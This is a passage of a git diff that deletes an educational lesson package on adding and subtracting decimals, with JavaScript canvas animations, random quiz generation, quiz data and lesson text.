-        op1d = op1_decimal[i];
-        op2d = op2_decimal[i];
-        sum = parseInt(op1d)+parseInt(op2d);
-        drawNumber(3, 30+(7+i)*columnWidth, sum);
-    };
-    for(i=0;i<whole;i++){
-        op1w = op1_whole[i];
-        op2w = op2_whole[i];
-        sum = parseInt(op1w)+parseInt(op2w);
-       	drawNumber(3, 30+(i+1)*columnWidth, sum);
-    };
-    drawComment(3,10*columnWidth+20,'Sum Columns');
-    drawTotal(3,50+9*columnWidth,true,9);
-    doPhase(2);
-};
-
-function phase3(){
-    operand1 = placeValue(op1);
-    operand2 = placeValue(op2);
-    op1_whole = operand1[0];
-    op1_decimal = operand1[1];
-    op2_whole = operand2[0];
-    op2_decimal = operand2[1];
-    //add leading and trailing zeroes as necessary
-    if(op1_whole.length > op2_whole.length){
-        //add leading zeroes to op2
-        whole = op1_whole.length;
-        for(i=0;i<op1_whole.length-op2_whole.length;i++){
-            op2_whole.unshift(0);
-        };
-    }else if (op1_whole.length< op2_whole.length) {
-        //add leading zeroes to op1
-        whole = op2_whole.length;
-        for(i=0;i<op2_whole.length-op1_whole.length;i++){
-            op1_whole.unshift(0);
-        };
-    }else{
-        whole = op1_whole.length;
-    };
-    if(op1_decimal.length > op2_decimal.length){
-        //add trailing zeroes to op2
-        dcml = op1_decimal.length;
-        for(i=0;i<op1_decimal.length-op2_decimal.length;i++){
-            op2_decimal.push(0);
-        };
-    }else if(op1_decimal.length < op2_decimal.length){
-        //add trailing zeroes to op1
-        dcml = op2_decimal.length;
-        for(i=0;i<op2_decimal.length-op1_decimal.length;i++){
-            op1.decimal_push(0);
-        };
-    }else{
-        dcml = op1_decimal.length;
-    };
-    carry = 0;
-    for(i=dcml;i>0;i--){
-        op1d = op1_decimal[i-1];
-        op2d = op2_decimal[i-1];
-        sum = parseInt(op1d)+parseInt(op2d)+carry;
-        carry = 0;
-        if(sum<10){
-            drawNumber(4, 30+(6+i)*columnWidth, sum);
-        }else{
-            //we need to carry
-            drawNumber(4, 30+(6+i)*columnWidth, sum-10);
-            carry = 1;
-        };
-    };
-    for(i=whole;i>0;i--){
-        op1w = op1_whole[i-1];
-        op2w = op2_whole[i-1];
-        sum = parseInt(op1w)+parseInt(op2w)+carry;
-        carry = 0;
-        if(sum<10){
-            drawNumber(4, 30+i*columnWidth, sum);
-        }else{
-            drawNumber(4, 30+i*columnWidth, sum-10);
-            carry = 1;
-        };
-    };
-    if(carry>0){
-        drawNumber(4,0,1);
-    };
-    drawComment(4,10*columnWidth+20,'Regroup');
-    doPhase(3);
-};
-
-function phase4(){
-    alert('phase4');
-};
-
-steps = [phase1,phase2,phase3,phase4];
-
-function doPhase(step){
-   $('#content')
-       .one('click',steps[step])
-};
-
-function show_answer(karma) {
-        $('#content')
-           .empty()
-           .html("<p>"+question+"</p>"+
-                 "<p></p>solution: "+solution+"</p>"+
-                 "<p>Let's check it out.</p>"
-           );
-        $('<canvas id="placeValue"/>')
-           .appendTo('#content');
-        draw();
-        doPhase(0);
-};
-
-function startGame(karma) {
-  $('#content')
-      .empty()
-  //build addition problem
-  if(caseno==cases.length){
-      $('#content')
-          .html('<p>That was the last example!</p>'+
-                '<p>Press apply to practice what you have learned.</p>');
-      return;
-  };
-  ops = cases[caseno];
-  caseno += 1;
-  op1 = ops[0];
-  op2 = ops[1];
-  question = 'Add: '+op1+' + '+op2;
-  solution = op1 + op2;
-  $('<div id="workArea"/>')
-      .empty()
-      .html("<p>" + question + " = "+solution+"</p>")
-      .appendTo('#content')
-  $('<canvas id="placeValue" />')
-      .appendTo('#content')
-  show_answer();
-};
-
-function initialize(karma) {
-  $('<div id="txtMain"/>')
-     .load('http://localhost:8008/cgi-bin/getFile.py',
-     {'filename':'content/Mathematics/map412m03/map412m03a02/a.txt'})
-     .appendTo('#content')
-};
-
-setUpLesson(initialize, startGame);
-
diff --git a/Save_Mathematics/P4/map412m03/map412m03a01/source.txt b/Save_Mathematics/P4/map412m03/map412m03a01/source.txt
deleted file mode 100755
index dc3d456..0000000
--- a/Save_Mathematics/P4/map412m03/map412m03a01/source.txt
+++ /dev/null
@@ -1,13 +0,0 @@
-<h1>
- Introduction:
-</h1>
-<h3 style="text-align: center;">
- Addition and Subtraction of Decimals
-</h3>
-<!--NG-->
-<p>
- The computer will show examples of forming the sum of pairs or sets of decimal numbers.
-</p>
-<p>
- The computer will show that the numbers need to be expanded into a place table. The computer will remind the student that 10/10 = 1 unit, 10/100 = 1/10 and 100/1000 = 1/100. This means the pattern of regrouping works the same with decimals as it does with whole numbers. Therefore, the procedures which the student already knows for adding and subtracting whole numbers also applies to the addition and subtraction of decimals.
-</p>
-\ No newline at end of file
diff --git a/Save_Mathematics/P4/map412m03/map412m03a02/a.txt b/Save_Mathematics/P4/map412m03/map412m03a02/a.txt
deleted file mode 100755
index 1e9f9d0..0000000
--- a/Save_Mathematics/P4/map412m03/map412m03a02/a.txt
+++ /dev/null
@@ -1,4 +0,0 @@
-<h1>Guided Practice</h1>
-<!--NG-->
-
-The computer will pose problems involving the addition and subtraction of decimals. If the student gives an incorrect answer, the computer will animate the solution by expanding the numbers in a place table and then performing the normal addition or subtraction operation and, finally, rewriting the sum or difference as a decimal number. This activity will continue until the student is satisfied that he/she has mastered the skill. 
diff --git a/Save_Mathematics/P4/map412m03/map412m03a02/css/divs.css b/Save_Mathematics/P4/map412m03/map412m03a02/css/divs.css
deleted file mode 100755
index c052cfa..0000000
--- a/Save_Mathematics/P4/map412m03/map412m03a02/css/divs.css
+++ /dev/null
@@ -1,6 +0,0 @@
-/*
- * This file was generated by ./generate-karma-activity.py on 2010/12/20 20:59:14.
- * Do not edit.
- * cwd: /home/tony/Desktop/git/pg42-karma-generator-d3cd804
- * command: ./generate-karma-activity.py -k ../../../ -o /home/tony/Desktop/master/Mathematics2/map412/map412m03/map412m03a02 /home/tony/Desktop/git/newcontent/Mathematics2/map412/map412m03/map412m03a02/description.py
- */
diff --git a/Save_Mathematics/P4/map412m03/map412m03a02/js/lesson-karma.js b/Save_Mathematics/P4/map412m03/map412m03a02/js/lesson-karma.js
deleted file mode 100755
index db8cc97..0000000
--- a/Save_Mathematics/P4/map412m03/map412m03a02/js/lesson-karma.js
+++ /dev/null
@@ -1,10 +0,0 @@
-/*
- * This file was generated by ./generate-karma-activity.py on 2010/12/20 20:59:14.
- * Do not edit.
- * cwd: /home/tony/Desktop/git/pg42-karma-generator-d3cd804
- * command: ./generate-karma-activity.py -k ../../../ -o /home/tony/Desktop/master/Mathematics2/map412/map412m03/map412m03a02 /home/tony/Desktop/git/newcontent/Mathematics2/map412/map412m03/map412m03a02/description.py
- */
-function lesson_karma() {
-    return Karma({image: [],
-                  audio: []});
-}
diff --git a/Save_Mathematics/P4/map412m03/map412m03a02/js/lesson.js b/Save_Mathematics/P4/map412m03/map412m03a02/js/lesson.js
deleted file mode 100755
index bf6d28f..0000000
--- a/Save_Mathematics/P4/map412m03/map412m03a02/js/lesson.js
+++ /dev/null
@@ -1,261 +0,0 @@
-//show addition by expanding operands, summing columns and regrouping
-
-function compare_by_digit(op1_whole,op1_decimal,op2_whole,op2_decimal){
-    if (op1_whole.length != op2_whole.length){
-        return 0;
-    };
-    for (i=0;i<op1_whole.length;i++){
-        if(op1_whole[i]!=op2_whole[i]){
-            return i;
-        }
-    };
-    for (i=0;i<op1_decimal.length;i++){
-        if(op1_decimal[i]!=op2_decimal[i]){
-            return op1_whole.length + i;
-        }
-    };
-    if(op1_decimal.length>op2_decimal.length){
-        return op1_decimal.length;
-    }else if(op1_decimal.length<op2.decimal.length){
-        return op2_decimal.length;
-    }
-    return -1;
-};
-
-function placeValue(operand){
-    operand_string = operand+"";
-    operandwd = operand_string.split('.');
-    operandw = operandwd[0];
-    operandd = operandwd[1];
-    operand_whole = operandw.split("");
-    operand_decimal = operandd.split("");;
-    return [operand_whole,operand_decimal];
-};
-
-function swap(list,op1,op2){
-    drawBlanks(op1+1,9);
-    operand = placeValue(list[op2]);    
-    drawDigits(op1+1,50+6*columnWidth,operand[0]);
-    pos = operand[1].length;
-    drawDigits(op1+1,50+(6+pos)*columnWidth,operand[1]);
-    drawHighlight(op1+1,50,op2+1+"",'black');
-    drawBlanks(op2+1,9);
-    operand = placeValue(list[op1]);
-    drawDigits(op2+1,50+6*columnWidth,operand[0]);
-    pos = operand[1].length;
-    drawDigits(op2+1,50+(6+pos)*columnWidth,operand[1]);
-    drawHighlight(op2+1,50,op1+1+"",'black');
-    save = list[op1];
-    list[op1] = list[op2];
-    list[op2] = save;
-};
-
-function phase1(){
-    //expand operands
-    txtComment = question;
-    drawComment(0,0, txtComment);
-    operand = placeValue(op1);
-    operand1_whole = operand[0];
-    operand1_decimal = operand[1];
-    drawDigits(1,50+6*columnWidth,operand_whole.reverse());
-    pos = operand_decimal.length;
-    drawDigits(1,50+(6+pos)*columnWidth,operand_decimal.reverse());
-    operand = placeValue(op2);
-    operand2_whole = operand[0];
-    operand2_decimal = operand[1];
-    drawDigits(2,50+6*columnWidth,operand_whole.reverse());
-    pos = operand_decimal.length;
-    drawDigits(2,50+(6+pos)*columnWidth,operand_decimal.reverse());
-    drawComment(1,10*columnWidth+10,'Expand');
-    drawTotal(2,50+9*columnWidth,true,9);
-    doPhase(1);
-};
-
-function phase2(){
-    //sum columns
-    operand1 = placeValue(op1);
-    operand2 = placeValue(op2);
-    op1_whole = operand1[0];
-    op1_decimal = operand1[1];
-    op2_whole = operand2[0];
-    op2_decimal = operand2[1];
-    //add leading and trailing zeroes as necessary
-    if(op1_whole.length > op2_whole.length){
-        //add leading zeroes to op2
-        whole = op1_whole.length;
-        for(i=0;i<op1_whole.length-op2_whole.length;i++){
-            op2_whole.unshift(0);
-        };
-    }else if (op1_whole.length< op2_whole.length) {
-        //add leading zeroes to op1
-        whole = op2_whole.length;
-        for(i=0;i<op2_whole.length-op1_whole.length;i++){
-            op1_whole.unshift(0);
-        };
-    }else{
-        whole = op1_whole.length;
-    };
-    if(op1_decimal.length > op2_decimal.length){
-        //add trailing zeroes to op2
-        dcml = op1_decimal.length;
-        for(i=0;i<op1_decimal.length-op2_decimal.length;i++){
-            op2_decimal.push(0);
-        };
-    }else if(op1_decimal.length < op2_decimal.length){
-        //add trailing zeroes to op1
-        dcml = op2_decimal.length;
-        for(i=0;i<op2_decimal.length-op1_decimal.length;i++){
-            op1_decimal.push(0);
-        };
-    }else{
-        dcml = op1_decimal.length;
-    };
-    for(i=0;i<dcml;i++){
-        op1d = op1_decimal[i];
-        op2d = op2_decimal[i];
-        sum = parseInt(op1d)+parseInt(op2d);
-        drawNumber(3, 30+(7+i)*columnWidth, sum);
-    };
-    for(i=0;i<whole;i++){
-        op1w = op1_whole[i];
-        op2w = op2_whole[i];
-        sum = parseInt(op1w)+parseInt(op2w);
-       	drawNumber(3, 30+(i+1)*columnWidth, sum);
-    };
-    drawComment(3,10*columnWidth+20,'Sum Columns');
-    drawTotal(3,50+9*columnWidth,true,9);
-    doPhase(2);
-};
-
-function phase3(){
-    operand1 = placeValue(op1);
-    operand2 = placeValue(op2);
-    op1_whole = operand1[0];
-    op1_decimal = operand1[1];
-    op2_whole = operand2[0];
-    op2_decimal = operand2[1];
-    //add leading and trailing zeroes as necessary
-    if(op1_whole.length > op2_whole.length){
-        //add leading zeroes to op2
-        whole = op1_whole.length;
-        for(i=0;i<op1_whole.length-op2_whole.length;i++){
-            op2_whole.unshift(0);
-        };
-    }else if (op1_whole.length< op2_whole.length) {
-        //add leading zeroes to op1
-        whole = op2_whole.length;
-        for(i=0;i<op2_whole.length-op1_whole.length;i++){
-            op1_whole.unshift(0);
-        };
-    }else{
-        whole = op1_whole.length;
-    };
-    if(op1_decimal.length > op2_decimal.length){
-        //add trailing zeroes to op2
-        dcml = op1_decimal.length;
-        for(i=0;i<op1_decimal.length-op2_decimal.length;i++){
-            op2_decimal.push(0);
-        };
-    }else if(op1_decimal.length < op2_decimal.length){
-        //add trailing zeroes to op1
-        dcml = op2_decimal.length;
-        for(i=0;i<op2_decimal.length-op1_decimal.length;i++){
-            op1.decimal_push(0);
-        };
-    }else{
-        dcml = op1_decimal.length;
-    };
-    carry = 0;
-    for(i=dcml;i>0;i--){
-        op1d = op1_decimal[i-1];
-        op2d = op2_decimal[i-1];
-        sum = parseInt(op1d)+parseInt(op2d)+carry;
-        carry = 0;
-        if(sum<10){
-            drawNumber(4, 30+(6+i)*columnWidth, sum);
-        }else{
-            //we need to carry
-            drawNumber(4, 30+(6+i)*columnWidth, sum-10);
-            carry = 1;
-        };
-    };
-    for(i=whole;i>0;i--){
-        op1w = op1_whole[i-1];
-        op2w = op2_whole[i-1];
-        sum = parseInt(op1w)+parseInt(op2w)+carry;
-        carry = 0;
-        if(sum<10){
-            drawNumber(4, 30+i*columnWidth, sum);
-        }else{
-            drawNumber(4, 30+i*columnWidth, sum-10);
-            carry = 1;
-        };
-    };
-    if(carry>0){
-        drawNumber(4,0,1);
-    };
-    drawComment(4,10*columnWidth+20,'Regroup');
-    doPhase(3);
-};
-
-function phase4(){
-    alert('phase4');
-};
-
-steps = [phase1,phase2,phase3,phase4];
-
-function doPhase(step){
-   $('#content')
-       .one('click',steps[step])
-};
-
-function check_answer(karma) {
-     // check that student has provided correct answer
-     // if not draw()
-     result = $('#solution').val();
-     if (result == solution) {
-        $('#content')
-           .empty()
-           .html('<h3>Congratulations! You got that one right.' +
-                'Press Start to try another.</h3>')
-     } else if (result.length > 0) {
-        message = '<p>Sorry.</p><p>    '+question+' is not '+result+'</p>'+
-               '<p>'+solution+'</p></p><p>Let me try.</p>'
-        $('#content')
-           .empty()
-           .html(message);
-        $('<canvas id="placeValue"/>')
-           .appendTo('#content');
-        draw();
-        doPhase(0);
-     };
-};
-
-function startGame(karma) {
-  $('#content')
-      .empty()
-  //build addition problem
-  op1 = getRandom(0,999999999)/1000;
-  op2 = getRandom(0,999999999)/1000;
-  question = 'Add: '+op1+' + '+op2
-  solution = op1 + op2
-  $('<div id="workArea"/>')
-      .empty()
-      .html("<p>" + question + "</p>")
-      .appendTo('#content')
-  $("<input name = 'solution' id = 'solution' value = '' type='text'/>")
-      .focus()
-      .appendTo('#content')
-  $('<canvas id="placeValue" />')
-      .appendTo('#content')
-};
-
-function initialize(karma) {
-  $('<div id="txtMain"/>')
-     .load('http://localhost:8008/cgi-bin/getFile.py',
-     {'filename':'content/Mathematics/map412m03/map412m03a02/a.txt'})
-     .appendTo('#content')
-};
-
-setUpLesson(initialize, startGame);
-
diff --git a/Save_Mathematics/P4/map412m03/map412m03a02/source.txt b/Save_Mathematics/P4/map412m03/map412m03a02/source.txt
deleted file mode 100755
index 1e9f9d0..0000000
--- a/Save_Mathematics/P4/map412m03/map412m03a02/source.txt
+++ /dev/null
@@ -1,4 +0,0 @@
-<h1>Guided Practice</h1>
-<!--NG-->
-
-The computer will pose problems involving the addition and subtraction of decimals. If the student gives an incorrect answer, the computer will animate the solution by expanding the numbers in a place table and then performing the normal addition or subtraction operation and, finally, rewriting the sum or difference as a decimal number. This activity will continue until the student is satisfied that he/she has mastered the skill. 
diff --git a/Save_Mathematics/P4/map412m03/map412m03a03/a.txt b/Save_Mathematics/P4/map412m03/map412m03a03/a.txt
deleted file mode 100755
index d4517b9..0000000
--- a/Save_Mathematics/P4/map412m03/map412m03a03/a.txt
+++ /dev/null
@@ -1,11 +0,0 @@
-<h1>
- Opportunity
-</h1>
-<!--NG-->
-<p>
- In this activity, you will have an opportunity to show what you have learned about 
-the addition of decimal numbers..
-</p>
-<p>
- Press Start to begin.
-</p>
diff --git a/Save_Mathematics/P4/map412m03/map412m03a03/css/divs.css b/Save_Mathematics/P4/map412m03/map412m03a03/css/divs.css
deleted file mode 100755
index cefafb4..0000000
--- a/Save_Mathematics/P4/map412m03/map412m03a03/css/divs.css
+++ /dev/null
@@ -1,6 +0,0 @@
-/*
- * This file was generated by ./generate-karma-activity.py on 2010/12/20 20:59:13.
- * Do not edit.
- * cwd: /home/tony/Desktop/git/pg42-karma-generator-d3cd804
- * command: ./generate-karma-activity.py -k ../../../ -o /home/tony/Desktop/master/Mathematics2/map412/map412m02/map412m02a01 /home/tony/Desktop/git/newcontent/Mathematics2/map412/map412m02/map412m02a01/description.py
- */
diff --git a/Save_Mathematics/P4/map412m03/map412m03a03/css/lesson.css b/Save_Mathematics/P4/map412m03/map412m03a03/css/lesson.css
deleted file mode 100755
index 2dbb5ae..0000000
--- a/Save_Mathematics/P4/map412m03/map412m03a03/css/lesson.css
+++ /dev/null
@@ -1,6 +0,0 @@
-#quizArea{
-    position:relative;
-    float:left;
-    width: 100%;
-    height: 400px;
-}
diff --git a/Save_Mathematics/P4/map412m03/map412m03a03/js/lesson-karma.js b/Save_Mathematics/P4/map412m03/map412m03a03/js/lesson-karma.js
deleted file mode 100755
index fe3a61b..0000000
--- a/Save_Mathematics/P4/map412m03/map412m03a03/js/lesson-karma.js
+++ /dev/null
@@ -1,8 +0,0 @@
-function lesson_karma() {
-    return Karma({
-image: [
-    ],
-audio: [
-    ],
-                 });
-}
diff --git a/Save_Mathematics/P4/map412m03/map412m03a03/js/lesson.js b/Save_Mathematics/P4/map412m03/map412m03a03/js/lesson.js
deleted file mode 100755
index 5499489..0000000
--- a/Save_Mathematics/P4/map412m03/map412m03a03/js/lesson.js
+++ /dev/null
@@ -1,40 +0,0 @@
-function generate_decimal(min,max) {
-  n = Math.random()*(max-min)+min;
-  ntxt = n + ' ';
-  point = ntxt.indexOf('.');
-  whole = ntxt.substring(0,point-1)
-  decimal = ntxt.substring(point+1,point+4)
-  return whole + '.' + decimal;
-};
-
-function generate_opportunity(questions){
-    //build quiz.js
-    sum = 0;
-    quiztxt = '';
-    for (q=0;q<questions;q++){
-        op1 = generate_decimal(.001,999.999);
-        op2 = generate_decimal(.001,999.999);
-        sum = (parseFloat(op1) + parseFloat(op2)).toFixed(3);
-        quiztxt = quiztxt + "{ques:'"+op1+" + "+op2+"=', ans:'"+sum+"'},\n"
-    };
-    return quiztxt;
-};
-
-function initialize(karma) {
-    quiztxt = generate_opportunity(12);
-    $('<div id="txtMain" />')
-        .load('http://localhost:8008/cgi-bin/getFile.py',
-        {'filename':'content/Mathematics/map412m03/map412m03a03/a.txt'})
-        .appendTo('#content');
-    $('<div id="workArea" />')
-        .load('http://localhost:8008/cgi-bin/writeQuiz.py',
-        {'activity':'map412m03a03','text': quiztxt});
-};
-
-function startGame(karma) {
-    $('<div id="quizArea" />')
-        .appendTo('#content')
-        .jQuizMe(quiz,options)
-};
-
-setUpLesson(initialize, startGame);
diff --git a/Save_Mathematics/P4/map412m03/map412m03a03/js/quiz.js b/Save_Mathematics/P4/map412m03/map412m03a03/js/quiz.js
deleted file mode 100755
index dcf3c30..0000000
--- a/Save_Mathematics/P4/map412m03/map412m03a03/js/quiz.js
+++ /dev/null
@@ -1,24 +0,0 @@
-var quiz = {
-fill:[
-{ques:'16.522 + 84.722=', ans:'101.244'},
-{ques:'30.269 + 14.670=', ans:'44.939'},
-{ques:'60.871 + 98.787=', ans:'159.658'},
-{ques:'2.492 + 56.553=', ans:'59.045'},
-{ques:'47.849 + 69.736=', ans:'117.585'},
-{ques:'82.666 + 59.071=', ans:'141.737'},
-{ques:'36.580 + 56.406=', ans:'92.986'},
-{ques:'25.812 + 53.178=', ans:'78.990'},
-{ques:'34.910 + 65.805=', ans:'100.715'},
-{ques:'63.531 + 14.386=', ans:'77.917'},
-{ques:'9.452 + 37.128=', ans:'46.580'},
-{ques:'59.593 + 99.417=', ans:'159.010'},
-]
-};
-
-var options = {
-    random:false,
-    allRandom:false,
-    disableRestart:true,
-    disableDelete:true,
-    title: "Opportunity",}
-
diff --git a/Save_Mathematics/P4/map412m03/map412m03a03/source.txt b/Save_Mathematics/P4/map412m03/map412m03a03/source.txt
deleted file mode 100755
index d4517b9..0000000
--- a/Save_Mathematics/P4/map412m03/map412m03a03/source.txt
+++ /dev/null
@@ -1,11 +0,0 @@
-<h1>
- Opportunity
-</h1>
-<!--NG-->
-<p>
- In this activity, you will have an opportunity to show what you have learned about 
-the addition of decimal numbers..
-</p>
-<p>
- Press Start to begin.
-</p>
diff --git a/Save_Mathematics/P4/map412m03/map412m03a04/a.txt b/Save_Mathematics/P4/map412m03/map412m03a04/a.txt
deleted file mode 100755
index 1cd3124..0000000
--- a/Save_Mathematics/P4/map412m03/map412m03a04/a.txt
+++ /dev/null
@@ -1,15 +0,0 @@
-<h1>
- Introduction: Subtraction of Decimals
-</h1>
-<!--NG-->
-<p>
- The computer will show examples of forming the difference of pairs of 
-decimal numbers.
-</p>
-<p>
- The computer will show that the numbers need to be expanded into a place table. The 
-computer will remind the student that 10/10 = 1 unit, 10/100 = 1/10 
-and 100/1000 = 1/100. This means the pattern of regrouping works the same with decimals 
-as it does with whole numbers. This means the procedures which the student already 
-knows for subtracting whole numbers also applies to the subtraction of decimals.
-</p>
diff --git a/Save_Mathematics/P4/map412m03/map412m03a04/css/divs.css b/Save_Mathematics/P4/map412m03/map412m03a04/css/divs.css
deleted file mode 100755
index 585b388..0000000
--- a/Save_Mathematics/P4/map412m03/map412m03a04/css/divs.css
+++ /dev/null
@@ -1,6 +0,0 @@
-/*
- * This file was generated by ./generate-karma-activity.py on 2010/12/20 20:59:14.
- * Do not edit.
- * cwd: /home/tony/Desktop/git/pg42-karma-generator-d3cd804
- * command: ./generate-karma-activity.py -k ../../../ -o /home/tony/Desktop/master/Mathematics2/map412/map412m03/map412m03a01 /home/tony/Desktop/git/newcontent/Mathematics2/map412/map412m03/map412m03a01/description.py
- */
diff --git a/Save_Mathematics/P4/map412m03/map412m03a04/js/lesson-karma.js b/Save_Mathematics/P4/map412m03/map412m03a04/js/lesson-karma.js
deleted file mode 100755
index fe3a61b..0000000
--- a/Save_Mathematics/P4/map412m03/map412m03a04/js/lesson-karma.js
+++ /dev/null
@@ -1,8 +0,0 @@
-function lesson_karma() {
-    return Karma({
-image: [
-    ],
-audio: [
-    ],
-                 });
-}
diff --git a/Save_Mathematics/P4/map412m03/map412m03a04/js/lesson.js b/Save_Mathematics/P4/map412m03/map412m03a04/js/lesson.js
deleted file mode 100755
index 4912868..0000000
--- a/Save_Mathematics/P4/map412m03/map412m03a04/js/lesson.js
+++ /dev/null
@@ -1,260 +0,0 @@
-//show addition by expanding operands, summing columns and regrouping
-
-var caseno, cases, op1, op2;
-caseno = 0;
-cases = [[2.1,2.1],[123.456,654.321]];
-
-function compare_by_digit(op1_whole,op1_decimal,op2_whole,op2_decimal){
-    if (op1_whole.length != op2_whole.length){
-        return 0;
-    };
-    for (i=0;i<op1_whole.length;i++){
-        if(op1_whole[i]!=op2_whole[i]){
-            return i;
-        }
-    };
-    for (i=0;i<op1_decimal.length;i++){
-        if(op1_decimal[i]!=op2_decimal[i]){
-            return op1_whole.length + i;
-        }
-    };
-    if(op1_decimal.length>op2_decimal.length){
-        return op1_decimal.length;
-    }else if(op1_decimal.length<op2.decimal.length){
-        return op2_decimal.length;
-    }
-    return -1;
-};
-
-function placeValue(operand){
-    operand_string = operand+"";
-    operandwd = operand_string.split('.');
-    operandw = operandwd[0];
-    operandd = operandwd[1];
-    operand_whole = operandw.split("");
-    operand_decimal = operandd.split("");;
-    return [operand_whole,operand_decimal];
-};
-
-function swap(list,op1,op2){
-    drawBlanks(op1+1,9);
-    operand = placeValue(list[op2]);    
-    drawDigits(op1+1,50+6*columnWidth,operand[0]);
-    pos = operand[1].length;
-    drawDigits(op1+1,50+(6+pos)*columnWidth,operand[1]);
-    drawHighlight(op1+1,50,op2+1+"",'black');
-    drawBlanks(op2+1,9);
-    operand = placeValue(list[op1]);
-    drawDigits(op2+1,50+6*columnWidth,operand[0]);
-    pos = operand[1].length;
-    drawDigits(op2+1,50+(6+pos)*columnWidth,operand[1]);
-    drawHighlight(op2+1,50,op1+1+"",'black');
-    save = list[op1];
-    list[op1] = list[op2];
-    list[op2] = save;
-};
-
-function phase1(){
-    //expand operands
-    txtComment = question;
-    drawComment(0,0, txtComment);
-    operand = placeValue(op1);
-    operand1_whole = operand[0];
-    operand1_decimal = operand[1];
-    drawDigits(1,50+6*columnWidth,operand_whole.reverse());
-    pos = operand_decimal.length;
-    drawDigits(1,50+(6+pos)*columnWidth,operand_decimal.reverse());
-    operand = placeValue(op2);
-    operand2_whole = operand[0];
-    operand2_decimal = operand[1];
-    drawDigits(2,50+6*columnWidth,operand_whole.reverse());
-    pos = operand_decimal.length;
-    drawDigits(2,50+(6+pos)*columnWidth,operand_decimal.reverse());
-    drawComment(1,10*columnWidth+10,'Expand');
-    drawTotal(2,50+9*columnWidth,true,9);
-    doPhase(1);
-};
-
-function phase2(){
-    //sum columns
-    op1 = ops[0];
-    op2 = ops[1];
-    operand1 = placeValue(op1);
-    operand2 = placeValue(op2);
-    op1_whole = operand1[0];
-    op1_decimal = operand1[1];
-    op2_whole = operand2[0];
-    op2_decimal = operand2[1];
-    //add leading and trailing zeroes as necessary
-    if(op1_whole.length > op2_whole.length){
-        //add leading zeroes to op2
-        whole = op1_whole.length;
-        for(i=0;i<op1_whole.length-op2_whole.length;i++){
-            op2_whole.unshift(0);
-        };
-    }else if (op1_whole.length< op2_whole.length) {
-        //add leading zeroes to op1
-        whole = op2_whole.length;
-        for(i=0;i<op2_whole.length-op1_whole.length;i++){
-            op1_whole.unshift(0);
-        };
-    }else{
-        whole = op1_whole.length;
-    };
-    if(op1_decimal.length > op2_decimal.length){
-        //add trailing zeroes to op2
-        dcml = op1_decimal.length;
-        for(i=0;i<op1_decimal.length-op2_decimal.length;i++){
-            op2_decimal.push(0);
-        };
-    }else if(op1_decimal.length < op2_decimal.length){
-        //add trailing zeroes to op1
-        dcml = op2_decimal.length;
-        for(i=0;i<op2_decimal.length-op1_decimal.length;i++){
-            op1_decimal.push(0);
-        };
-    }else{
-        dcml = op1_decimal.length;
-    };
-    for(i=0;i<dcml;i++){
-        op1d = op1_decimal[i];
-        op2d = op2_decimal[i];
-        sum = parseInt(op1d)+parseInt(op2d);
-        drawNumber(3, 30+(7+i)*columnWidth, sum);
-    };
-    for(i=0;i<whole;i++){
-        op1w = op1_whole[i];
-        op2w = op2_whole[i];
-        sum = parseInt(op1w)+parseInt(op2w);
-       	drawNumber(3, 30+(i+1)*columnWidth, sum);
-    };
-    drawComment(3,10*columnWidth+20,'Sum Columns');
-    drawTotal(3,50+9*columnWidth,true,9);
-    doPhase(2);
-};
-
-function phase3(){
-    operand1 = placeValue(op1);
-    operand2 = placeValue(op2);
-    op1_whole = operand1[0];
-    op1_decimal = operand1[1];
-    op2_whole = operand2[0];
-    op2_decimal = operand2[1];
-    //add leading and trailing zeroes as necessary
-    if(op1_whole.length > op2_whole.length){
-        //add leading zeroes to op2
-        whole = op1_whole.length;
-        for(i=0;i<op1_whole.length-op2_whole.length;i++){
-            op2_whole.unshift(0);
-        };
-    }else if (op1_whole.length< op2_whole.length) {
-        //add leading zeroes to op1
-        whole = op2_whole.length;
-        for(i=0;i<op2_whole.length-op1_whole.length;i++){
-            op1_whole.unshift(0);
-        };
-    }else{
-        whole = op1_whole.length;
-    };
-    if(op1_decimal.length > op2_decimal.length){
-        //add trailing zeroes to op2
-        dcml = op1_decimal.length;
-        for(i=0;i<op1_decimal.length-op2_decimal.length;i++){
-            op2_decimal.push(0);
-        };
-    }else if(op1_decimal.length < op2_decimal.length){
-        //add trailing zeroes to op1
-        dcml = op2_decimal.length;
-        for(i=0;i<op2_decimal.length-op1_decimal.length;i++){
-            op1.decimal_push(0);
-        };
-    }else{
-        dcml = op1_decimal.length;
-    };
-    carry = 0;
-    for(i=dcml;i>0;i--){
-        op1d = op1_decimal[i-1];
-        op2d = op2_decimal[i-1];
-        sum = parseInt(op1d)+parseInt(op2d)+carry;
-        carry = 0;
-        if(sum<10){
-            drawNumber(4, 30+(6+i)*columnWidth, sum);
-        }else{
-            //we need to carry
-            drawNumber(4, 30+(6+i)*columnWidth, sum-10);
-            carry = 1;
-        };
-    };
-    for(i=whole;i>0;i--){
-        op1w = op1_whole[i-1];
-        op2w = op2_whole[i-1];
-        sum = parseInt(op1w)+parseInt(op2w)+carry;
-        carry = 0;
-        if(sum<10){
-            drawNumber(4, 30+i*columnWidth, sum);
-        }else{
-            drawNumber(4, 30+i*columnWidth, sum-10);
-            carry = 1;
-        };
-    };
-    if(carry>0){
-        drawNumber(4,0,1);
-    };
-    drawComment(4,10*columnWidth+20,'Regroup');
-    doPhase(3);
-};
-
-steps = [phase1,phase2,phase3];
-
-function doPhase(step){
-   $('#content')
-       .one('click',steps[step])
-};
-
-function show_answer(karma) {
-        $('#content')
-           .empty()
-           .html("<p>"+question+"</p>"+
-                 "<p></p>solution: "+solution+"</p>"+
-                 "<p>Let's check it out.</p>"
-           );
-        $('<canvas id="placeValue"/>')
-           .appendTo('#content');
-        draw();
-        doPhase(0);
-};
-
-function startGame(karma) {
-  $('#content')
-      .empty()
-  //build addition problem
-  if(caseno==cases.length){
-      $('#content')
-          .html('<p>That was the last example!</p>'+
-                '<p>Press apply to practice what you have learned.</p>');
-      return;
-  };
-  ops = cases[caseno];
-  caseno += 1;
-  op1 = ops[0];
-  op2 = ops[1];
-  question = 'Add: '+op1+' + '+op2;
-  solution = op1 + op2;
-  $('<div id="workArea"/>')
-      .empty()
-      .html("<p>" + question + " = "+solution+"</p>")
-      .appendTo('#content')
-  $('<canvas id="placeValue" />')
-      .appendTo('#content')
-  show_answer();
-};
-
-function initialize(karma) {
-  $('<div id="txtMain"/>')
-     .load('http://localhost:8008/cgi-bin/getFile.py',
-     {'filename':'content/Mathematics/map412m03/map412m03a04/a.txt'})
-     .appendTo('#content')
-};
-
-setUpLesson(initialize, startGame);
-
